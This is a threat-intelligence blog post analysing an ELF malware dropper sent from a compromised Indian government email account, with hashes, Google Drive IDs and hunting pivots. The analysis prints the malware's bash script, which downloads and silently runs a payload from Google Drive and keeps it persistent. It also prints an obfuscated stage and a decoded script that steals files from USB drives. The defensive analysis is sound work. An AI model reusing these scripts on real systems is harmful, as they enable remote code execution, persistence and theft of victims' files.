ELF malware is rare but dangerous. Learn how a compromised Indian government email delivered an ELF attachment and why Linux threats deserve attention.
There’s an old joke that “Linux on the desktop is the future, and it always will be”. Although linux backdoors are not always novel, because Linux accounts for <5% of desktops, initial droppers for Linux are extremely rare for an initial compromise. To put it another way, users are not getting infected by .elf file attachments from email.
Except when they do.
An email was recently uploaded to VirusTotal, showing a compromised Indian government account sending a malicious mail to separate Indian government domain. The attachment format was what raised our eyebrows, however. The ZIP attachment contained a pdf, a docx, and anELF. record scratch

Figure 1: Initial phish
| SHA256 | Filename | Notes |
|---|---|---|
| 8f609f60dd82dc13878b1d82ebc56e5056cb9274234df1510ee737e62ba22aaa | Application Form & Brochure.zip | Initial attachment |
| 90f7d3f354a1637d7467962fe87449532881d06ed76acaae696cc286cba02de7 | Application Form.pdf | Decoy pdf |
| d7cf1c4dfcb10f1ad533413f419e6dd467783f82a87d6c309ba9a213457e035c | Housing Project Brochure.docx | Decoy docx |
| a074d391d575f6628fba3a90adb4673ea189512b55e7980d74fd816e354e10cb | Password | UPX-packed ELF binary |
| b5d73c422d9070eff12adb65a39a76188bd69de4a972108c78a2d3516627f5be | Password (unpacked) | upx -d unpack command |
Figure 2: Files unpacked that were attached
The Password is an ELF binary, that when you execute it, it pops a dialog box via:
zenity --info --no-wrap "--text=Your File Access Code is: 745 414" --title=Password

Figure 3: Dialog box that pops when the ELF is run
The pdf and docx are legitimately password protected with that password (the docx curiously doesn’t use a space in the numbers), which can be observed below:
| password protected PDF | after decryption |
|---|---|
Figure 4: Encrypted and decrypted PDF files
The “password” binary proceeds to execute a shell script, and fetch a number of files from Google Drive, all created by the account damosunday98@gmail.com.
1if ! pgrep -x "gnucoreinfo" >/dev/null; then 2 ###search for a process named gnucoreinfo, if does not exist, launch it### 3 nohup sh -c 'cd ~/.x86_32-linux-gnu && ./gnucoreinfo > /dev/null 2>&1 &' >/dev/null 2>&1 4fi 5 6if [ ! -d "$HOME/.x86_32-linux-gnu" ]; then 7 ###if .x86_32-linux-gnu is not a directory, create it### 8 mkdir "$HOME/.x86_32-linux-gnu" fi if [ ! -f "$HOME/.x86_32-linux-gnu/gnucoreinfo" ]; then 9 ### if gnucoreinfo is not a file in that directory, download it, make it executable, ### and run it in the background### 10 curl -L -o "$HOME/.x86_32-linux-gnu/gnucoreinfo" "https://drive.google[.]com/uc?export=download&id=1VXY76hUXaWcXQBdbUZYjVhOHmI6fOUHV" >/dev/null 2>&1 11 chmod +x "$HOME/.x86_32-linux-gnu/gnucoreinfo" 12 cd "$HOME/.x86_32-linux-gnu" 13 if ! pgrep -x "gnucoreinfo" >/dev/null; then 14 nohup sh -c 'cd ~/.x86_32-linux-gnu && ./gnucoreinfo > /dev/null 2>&1 &' >/dev/null 2>&1 15 fi 16 cd 17fi Figure 5: Initial bash script executed by Password ELF
| gdrive token | UPX packed file name ‘vmcoreinfo.txt’ | unpacked |
|---|---|---|
| 1VXY76hUXaWcXQBdbUZYjVhOHmI6fOUHV | 8e59936cd5b69eed2241866384915427e576158331a3a67fa50ca6fc1b129a99 | 4d4fdc48bc2f17b45af97d0cf2ce69913532b9b27a7ed97ee2e5b42540e4e |
Figure 5: UPX unpacked ELF from google drive
vmcoreinfo is another ELF with “DiscordGO”, and fetches three more files from Google Drive
| Google drive ID | SHA256 | filename |
|---|---|---|
| 1dlI8jSabaeJT1MnQxiih0Ww-hZrG-GAe | bebe490aec13b6d84f56250c0f6f9d9f10bc0ba0ae42316407d49b87217b63fc | BID2.txt |
| 1XvW8ir8l0G9axv4lhEvQFOxOyzmMV64t | d8b8116c5e9a14983c275444dc3a251cdad09f9d56e6c121749269c24bf691a9 | GID2.txt |
| 1btUsB3nWehTNW8Cho9Wv3Efrt4c6EhI_ | ae59ba12ec6a42ee5b08c3e2ce91ec02071b2f5ad9338e3a19d690bd68acb860 | GTK-Theme-Parse.txt |
Figure 6: Next stages fetched from Google Drive
The BID file was a token for Discord (Bot ID), but the GTK-Theme-Parse had us briefly looking sideways at the monitor
1#!/bin/bash 2"${@,,}" $BASH ${*%%u;q3} ${@,} 3<<<"$( ${*~~} p'''r''i'\ntf 'QlpoOTFBWSZTWdHbOc0AACXfgERQfPfwG19mnpu/7// 4uQAKi5O3duquuEoQUwnpTTQaNA0AAaaAHqDyg8oMhTU9MVNplHqHoIAAPUAaNHlGgASKaphIPSB 5p6mxQABoAAAaDQJTURpHoo2p6mnqaehGgMho9QANDIAeIBEp0DX1zhc/0LLXMzfNBM4FfRBW 6HuV06MYLctkahEBMAgHeV1qs5GUzLTxLKBbwmwYpqZmc2yiFsGqvgPKsxinsfpCqLypkG6I 7rO9L4Si4uNYI/kitXstCwwPgIolDI4YhlcJJSEekRiC6uaN+0XdttrAFXlfzKQmtLohAJ 8BIO5JZGflzHK5LKJKEpkYtFnczmQrppdpQFhNZsFspGM5jKBsQzzVWxW+7RYMMBZEPfZ 9kVhKZVkol0xtuGlC8zE0HJjJkZq/UXJMYaAHmoTx9C4lrjet95pcS4zin3BcBhAgHByVR10OzCz3wdp8Jt6CuXWtu4Y2w9HmDs+Y4RAzITTaAFKGUhdYgzODOVvYHIgvDU/mkcKknGcJnn6BQGU11zqsfV4jpKxANDMo6zDQpduDfSS7c5kVg6p08zyqIioFVQFT9QMy/hVETAdkwMmIEQkTBRGfdw3yc12nJRoimdtvbABQUj2ZFhIwXisFTY0RUcqliRDJQMHiz4C8okNw565ZcAjGmZCxnGgpqYspIhct313ErgMSY1EHiGyTn8EsFYwqlbdaBhSk0BPRqk0hBjr1r0xRIGOkhWJpIFIEFcIA7ERZ5C82y1Q28814vgVRGqkZG7FxhTVANA79M17YzjRbbbq4LqKmlRREKIkwGInlJkOfMZJ3mbGgmPV1MMhykHsKqKp15Im1xaXlIoMxW2NuHlHJlV8rOmaEs0TpBomgTcFv8Ku2t+7Eg0kx5JMBWQia+UCSFn49KiGj/16F3JFOFCQ0ds5zQA==' ${*/af*FB} | ${*//;=gV/%_MnfSkx} ba"17 s "${@//ZJ6xPX7n/5oHg}e\64 -d " ${@^^}" | 18 ${*#9V-Z1>} bu$'\u006e'z''ip" ${@,,}19"2 -c ${*~~} )" "${@//\[Q1m%W2/\[Duwv3bC}" ${*//\(^$\Otl/__+y7p} Figure 7: obfuscated bash fetched
Your eyes can probably notice the base64 chunk, as well as simple obfuscation around ‘printf’ and ‘bunzip2’. You may notice junk obfuscation, such as ${@^^} and ${@,,}, which simply make script arguments upper and lower case. It’s easiest to simply decode the base64 and bunzip it, which ironically gives us an unobfuscated script, neatly documented. As you can see, it copies files from usb sticks, and records the metadata. There was a separate but related attack mentioned bySir TomatVolexity, as well as researchers atBlackberry. Rather than reinvent the wheel, you can head there to see more technical details on the ELF, including some slick command and control using emojis. The rest of this blog will be showing how to find variants.
1# Define the directory paths 2USB_DIR="/media/$USER" 3RECORD_FILE="record.txt" 4DEST_DIR="$HOME/Documents/swift2" 5 6# Function to copy files from USB drive to destination folder 7copy_files() { 8 device_name="$1" 9 device_path="$USB_DIR/$device_name" 10 folder_name="$DEST_DIR/$device_name" 11 record_file="$folder_name/$RECORD_FILE" 12 13 # Create destination folder if it doesn't exist 14 mkdir -p "$folder_name" 15 16 # Copy new files to destination folder, rename, and add to record.txt 17 find "$device_path" -type f | while read -r filepath; do 18 filename=$(basename "$filepath") 19 20 # Check if filename already exists in record.txt 21 if ! grep -q "^$filename$" "$record_file"; then 22 echo "$filename" >> "$record_file" 23 cp "$filepath" "$folder_name/UZB_$filename" 24 echo "File copied: $filename" 25 else 26 echo "File skipped: $filename" 27 fi done 28} 29 30# Main loop 31while true; do 32 # Check for connected USB drives 33 drives=($USB_DIR/*) 34 35 # Iterate through connected drives 36 for drive_path in "${drives[@]}"; do 37 drive=$(basename "$drive_path") 38 39 # Check if record.txt exists for the drive 40 if [ ! -d "$DEST_DIR/$drive" ] || [ ! -f "$DEST_DIR/$drive/$RECORD_FILE" ]; then 41 # Copy files if record.txt doesn't exist 42 copy_files "$drive" 43 else 44 # Copy new files to destination folder, rename, and add to record.txt 45 copy_files "$drive" 46 fi 47 done 48 49 # Wait for 10 seconds before the next iteration 50 sleep 10 51done Figure 8: Final script that polls /media mount point looking for interesting files to steal

Figure 9: Diagram of execution
To find similar files, we noticed interesting pivot points such as:
| Pivot point | Example match |
|---|---|
| /home/hackerex | /home/hackerex/Desktop/Golang_Dev/Discord/14/New file testing/Password.go |
| zenity --info --no-wrap (behavior) | zenity --info --no-wrap "--text=Your File Access Code is: 627 914" --title=Password |
| error setting up cron job: | error setting up cron job: %v*/5 * * * * bash -i -c ’exit' |
Figure 10: suggested ways to find similar files
We were able to find some similar top level files, and the subsequent next stages. We have shared these on our github at the end of the post

Figure 11: CARA assisting the analyst find variants
| sha256 | filename | upx unpacked |
|---|---|---|
| f2eca0ed18b7d5bd800b597bd429c028c62524da777bf4e09e14440c50ce1529 | Revised_IT_Rebate | c2188334e78f1e4fc2402f9cdb31656008365a9622430e2e4323aed96fb711bb |
| 51a372fee89f885741515fa6fdf0ebce860f98145c9883f2e3e35c0fe4432885 | DSOP_Fund_Nomination_Form | 1cdf1f32f31e226f037fda562985e481b7aa0b809971f2e40b713b034cf1d44e |
| 91a4093cbda11aa4e4816708fd58c3339315b389d87a34e5078338213c5e07d9 | Password | b77b1975417c0a76f6b017cf6d6e22420bf9bc5f9b705798c715cb5265a3203a |
| 44504a847b36d8c76dbe9e1bdc63fd7e4cac41fa93f392317abfcabdbb6044de | India_Emerging_Global_Economy | not upx packed |
| c981aa1f05adf030bacffc0e279cf9dc93cef877f7bce33ee27e9296363cf002 | Immovable_Property_Returns | 1672e7e771136bab309161b009716dd5a0438c8f03e352274aab94611bf5f248 |
| 2abaae4f6794131108adf5b42e09ee5ce24769431a0e154feabe6052cfe70bf3 | DSOP_Nom | 5d2dbbbec39b425a284a284f3b5363e04c728509194f27ad39554f5a794e2afd |
Figure 12: Other top-level droppers discovered
Figure 13: Subsequent files dropped by each top-level file
| Vendor | Threat Actor name |
|---|---|
| You? | Get in touch for blog pre-releases! |
Figure 14: Other validated vendor names for this actor
Our github provides a download to both the raw samples mentioned in the blog, as well as the indicators mentioned.
Acknowledgements
The authors would like to thank the reviewers, as well as peer vendors, for their comments and corrections. Please get in touch at research@strikeready.comresearch at strikeready dot com if you have corrections, or would like to collaborate on research.
